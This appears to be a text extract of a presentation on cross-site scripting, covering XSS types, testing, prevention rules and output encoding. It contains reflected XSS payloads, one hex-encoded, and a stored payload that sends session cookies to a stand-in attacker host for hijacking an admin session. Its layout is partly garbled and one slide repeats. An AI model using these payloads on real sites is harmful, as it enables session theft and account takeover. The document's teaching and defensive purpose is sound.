Cross Site Scripting (XSS)

Chaitanya Lakshmichaitanyalakshmi2006@gmail.com

+91 8897429349

Topics to be Covered

Overview of Cross Site Scripting & Description (A Basic Introduction - What is Cross SiteScripting?)

How to Automate Tests for Cross Site Scripting

Likely Places to Find XSS Vulnerabilities

How to Prevent Cross Site Scripting on Your Website

Additional Resources and Reading on Cross Site Scripting

DOM Based XSS

HTML Purifier

Example for Non-Persistent XSS

Example for Persistent XSS

XSS Prevention Rules

Output Encoding Rules XSS

Overview of Cross Site Scripting & Description (A Basic Introduction - What is Cross Site Scripting?)

XSS is an attack using a browser side scripting language (usually JavaScript).

The goal of the attacker is to make the malicious script appear to be from the site being attacked, so the user'sbrowser can't tell the script being executed is not meant to be aprt of the site they are viewing.

This is usually accomplished by an attacker by submitting specially crafted values into the target site's URL or webforms, or anywhere user generated content is displayed on the site.

Users can fall into an XSS attack primarily in two ways:Tricking a user to click on a link, via having them view an email, or having them view another site under attackercontrol. This could be as benign as a forum where image tags are allowed, and an attacker posts something like<img src=badcode.html/>

Creating an XSS attack and storing it on the target site, such as in a forum post, profile, or other method. This typeof attack may also be self-propagating, creating an XSS worm.

There are two broad attack surfaces which must be protected from XSS: The first is the users browser environment, and any JavaScript or other code which is executed by the browser.The second is server side.

Browser attacks are executed via variables like the http referrer (page the user was last on and clicked from), orother http type methods such as document.location or document.URL.

How to Automate Tests for Cross Site Scripting

Crawl the application, capturing all GET and POST fields For each GET and POST, try every XSS variant which can be thought of

For each page in the application, test all sections in the likely locations of XSS section.

If any show an alert response, consider XSS having been found

Likely Places to Find XSS Vulnerabilities

XSS is found in many website locations, not all of which are obvious. This lists alllocations where XSS may be found:

HTTP referrer objects The URL GET parameters POST parameters Window.location Document.referrer document.location document.URLUnencoded All headers Cookie data Potentially data from your own database (if not properly validated on input)

How to Prevent Cross Site Scripting on Your Website

XSS can only be prevented by carefully sanitizing all input which is not known to besecure. Classes of input which is known NOT to be secure include:

HTTP referrer objects The URL GET parameters POST parameters Window.location Document.referrer document.location document.URLUnencoded All headers Cookie data Potentially data from your own database (if not properly validated on input)

Alternate control statement syntax for templates

In templates, the alternate control statement syntax using : instead of brackets is allowed. There should not be a space between the closing paren after the control keyword, and

thecolon, and HTML/PHP inside the control structure should be indented.

For Example:

<?php if (!empty($item)): ?> <p><?php print $item; ?></p><?php endif; ?>

<?php foreach ($items as $item): ?> <p><?php print $item; ?></p><?php endforeach; ?>

DOM Based XSS

The XSS attacks that rely on server side embedding of user data are categorized into“non-persistent” (or “reflected”) and “persistent” (or “stored”).

It is thus suggested that the third kind of XSS, the one that does not rely on server sideembedding, be named “DOM Based XSS”.

Standard XSS DOM Based XSS

Root Cause Insecure embedding of client input in HTML outbound pageOwner Web developer (CGI) Web developer (HTML)Page Nature Dynamic only (CGI script) Typically static (HTML), but not necessarily.

Vulnerability Detection

Attack Detection

Effective Defense

Insecure reference and use (in a client side code) of DOM objects that are not fully controlled by the server provided page

Manual Fault injectionAutomatic Fault InjectionCode Review (need access to the page source)

Manual Fault InjectionCode Review (can be done remotely!)

Web server logsOnline attack detection tools (IDS, IPS, web application firewalls) If evasion techniques are applicable and used - no server side

detection is possibleData validation at the server sideAttack prevention utilities/tools (IPS, application firewalls)

Data validation at the client side (in Javascript)Alternative server side logic

HTML Purifier

HTML Purifier is a standards-compliant HTML filter library written in PHP.

HTML Purifier will not only remove all malicious code (better known as XSS) with athoroughly audited, secure yet permissive whitelist.

It will also make sure your documents are standards compliant, something onlyachievable with a comprehensive knowledge of W3C's specifications.

http://htmlpurifier.org/releases/htmlpurifier-4.4.0.zip

Example for Non-Persistent XSS

index.php:

<?php$name = $_GET['name'];echo "Welcome $name<br>";echo "<a href="http://xssattackexamples.com/">Click to Download</a>";?>

Example 1:

Now the attacker will craft an URL as follows and send it to the victim:

index.php?name=guest<script>alert('attacked')</script>

When the victim load the above URL into the browser, he will see an alert box which says‘attacked’. Even though this example doesn’t do any damage, other than the annoying‘attacked’ pop-up, you can see how an attacker can use this method to do severaldamaging things.

Example for Non-Persistent XSS Contd...

Example 2:

For example, the attacker can now try to change the “Target URL” of the link “Click toDownload”. Instead of the link going to “xssattackexamples.com” website, he can redirectit to go “not-real-xssattackexamples.com” by crafting the URL as shown below:

index.php?name=<script>window.onload = function() { Var link=document.getElementsByTagName("a"); link[0].href="http://not-real-xssattackexamples.com/";}</script>

In the above, we called the function to execute on “window.onload”. Because the website(i.e index.php) first echos the given name and then only it draws the <a> tag. So if wewrite directly like the one shown below, it will not work, because those statements will getexecuted before the <a> tag is echoed

index.php?name=<script> Var link=document.getElementsByTagName("a");link[0].href=" http://not-real-xssattackexamples.com"</script>

Example for Non-Persistent XSS Contd...

Normally an attacker tends not to craft the URL which a human can directly read. So hewill encode the ASCII characters to hex as follows.

index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

which is same as:

index.php?name=<script>window.onload = function() { Var link=document.getElementsByTagName("a");link[0].href="

http://not-real-xssattackexamples.com/";}</script>

Example for Non-Persistent XSS Contd...

Example 2:

For example, the attacker can now try to change the “Target URL” of the link “Click toDownload”. Instead of the link going to “xssattackexamples.com” website, he can redirectit to go “not-real-xssattackexamples.com” by crafting the URL as shown below:

index.php?name=<script>window.onload = function() { Var link=document.getElementsByTagName("a"); link[0].href="http://not-real-xssattackexamples.com/";}</script>

In the above, we called the function to execute on “window.onload”. Because the website(i.e index.php) first echos the given name and then only it draws the <a> tag. So if wewrite directly like the one shown below, it will not work, because those statements will getexecuted before the <a> tag is echoed

index.php?name=<script> Var link=document.getElementsByTagName("a");link[0].href=" http://not-real-xssattackexamples.com"</script>

Persistent XSS

There are two types of users: “Admin” and “Normal” user.When “Admin” log-in, he can see the list of usernames. When “Normal” users log in, they can only updatetheir display name.

In case of persistent attack, the code injected by the attacker will be stored in a secondary storage device(mostly on a database).

The damage caused by Persistent attack is more than the non-persistent attack.

Session

HTTP protocol is a stateless protocol, which means, it won’t maintain any state with regard to the requestand response.All request and response are independent of each other. But most of the web application don’tneed this.

Once the user has authenticated himself, the web server should not ask the username/password for thenext request from the user. To do this, they need to maintain some kind of states between the web-browserand web-server which is done through the “Sessions”.

Persistent XSS Contd...

When the user login for the first time, a session ID will be created by the web server and it will be sent to theweb-browser as “cookie”. All the sub-sequent request to the web server, will be based on the “session id” inthe cookie.

Example:

If a Normal User Logs into the site and Tried to enter any Textbox (Example: Displayname Textbox) value asBelow,

<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>

By clicking on Submit / Save button, The above information entered by the attacker will be stored in thedatabase (persistent).

Persistent XSS Contd...

When the admin log-in to the system, he/she can see a link named “My Name” along with other usernames.When admin clicks the link, it will send the cookie which has the session ID, to the attacker’s site. Now the attacker can post a request by using that session ID to the web server, and he can act like “Admin”until the session is expired.

The cookie information will be something like the following:xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

Once the hacker knows the PHPSESSID, he can use this session to get the admin privilege untilPHPSESSID expires.

To understand this more, we can use a firefox addon called “Tamper Data”, which can be used to add a new

HTTP header called “Cookies” and set the value to “PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3″.

XSS Prevention Rules

Never Insert Untrusted Data Except in Allowed Locations

HTML Escape Before Inserting Untrusted Data into HTML Element Content

Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes

JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values

CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML StyleProperty Values

URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values

Use an HTML Policy engine to validate or clean user-driven HTML in an outbound way

Prevent DOM-based XSS

Use HTTPOnly cookie flag

XSS Prevention Rules Sample Code

Data Type Context Code Sample Defense String HTML Body <span>UNTRUSTED DATA</span> HTML Entity Encoding

String

String GET Parameter URL Encoding

String

String CSS Value

String JavaScript Variable HTML HTML Body <div>UNTRUSTED HTML</div> HTML Validation (JSoup, AntiSamy, HTML Sanitizer)String DOM XSS TODO DOM based XSS Prevention Cheat Sheet

Safe HTML Attributes

<input type="text" name="fname" value="UNTRUSTED DATA">

Aggressive HTML Entity Coding Only place untrusted data into a whitelist of safe attributes (listed below).Strictly validate unsafe attributes such as background, id and name.

<a href="/site/search?value=UNTRUSTED DATA">clickme</a>

Untrusted URL in a SRC or HREF attribute

<a href="UNTRUSTED URL">clickme</a><iframe src="UNTRUSTED URL" />

Cannonicalize input URL Validation Safe URL verification Whitelist http and https URL's only (Avoid the Javascript Protocol to Open a new window) Attribute encoder

<div style="width: UNTRUSTED DATA;">Selection</div>

Strict Structural ValidationCSS Hex encodingGood design of CSS Features

<script>var currentValue='UNTRUSTED DATA';</script><script>someFunction('UNTRUSTED DATA');</script>

Ensure JavaScript variables are quotedJavaScript Hex EncodingJavaScript Unicode EncodingAvoid backslash encoding (\" or \' or \\)

Output Encoding Rules XSS

Encoding Type Encoding Mechanism

URL Encoding

JavaScript Encoding

CSS Hex Encoding

HTML Entity Encoding

Convert & to &amp;Convert < to &lt;Convert > to &gt;Convert " to &quot;Convert ' to &#x27;Convert / to &#x2F;

HTML Attribute Encoding

Except for alphanumeric characters, escape all characters with the HTML Entity &#xHH; format, including spaces. (HH = Hex Value) Standard percent encoding, see: http://www.w3schools.com/tags/ref_urlencode.asp Except for alphanumeric characters, escape all characters with the \uXXXX unicode escaping format (X = Integer). CSS escaping supports \XX and \XXXXXX. Using a two character escape can cause problems if the next character continues the escape sequence. There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping possible by zero padding the value.

References

Drupal Filters HTML to prevent cross-site-scripting (XSS) vulnerabilities.http://api.drupal.org/api/drupal/includes!common.inc/function/filter_xss/7

CERT Advisory CA-2000-02 - Malicious HTML Tags Embedded in Client WebRequests”, CERT, February 2nd, 2000http://www.cert.org/advisories/CA-2000-02.html

“Cross Site Scripting Explained”, Amit Klein, June 2002http://crypto.stanford.edu/cs155/CSS.pdf

“Cross-Site Scripting”, Web Application Security Consortium, February 23rd, 2004http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml

“Cross Site Scripting (XSS) Flaws”, The OWASP Foundation, updated 2004http://www.owasp.org/documentation/topten/a4.html

“Thor Larholm security advisory TL#001 (IIS allows universal CrossSiteScripting)”,Thor Larholm, April 10th, 2002http://www.cgisecurity.com/archive/webservers/iis_xss_4_5_and_5.1.txt

References Contd...

“ISA Server Error Page Cross Site Scripting”, Brett Moore, July 16th, 2003http://www.security-assessment.com/Advisories/ISA%20XSS%20Advisory.pdf

(see also Microsoft Security Bulletin MS03-028http://www.microsoft.com/technet/security/bulletin/MS03-028.mspx

and a more elaborate description in “Microsoft ISA Server HTTP error handlerXSS”, Thor Larholm, July 16th, 2003http://www.securityfocus.com/archive/1/329273)

“Bugzilla Bug 272620 - XSS vulnerability in internal error messages”, reported byMichael Krax, December 23rd, 2004https://bugzilla.mozilla.org/show_bug.cgi?id=272620

“The Cross Site Scripting FAQ”, Robert Auger, May 2002 (revised August 2003)http://www.cgisecurity.com/articles/xss-faq.shtml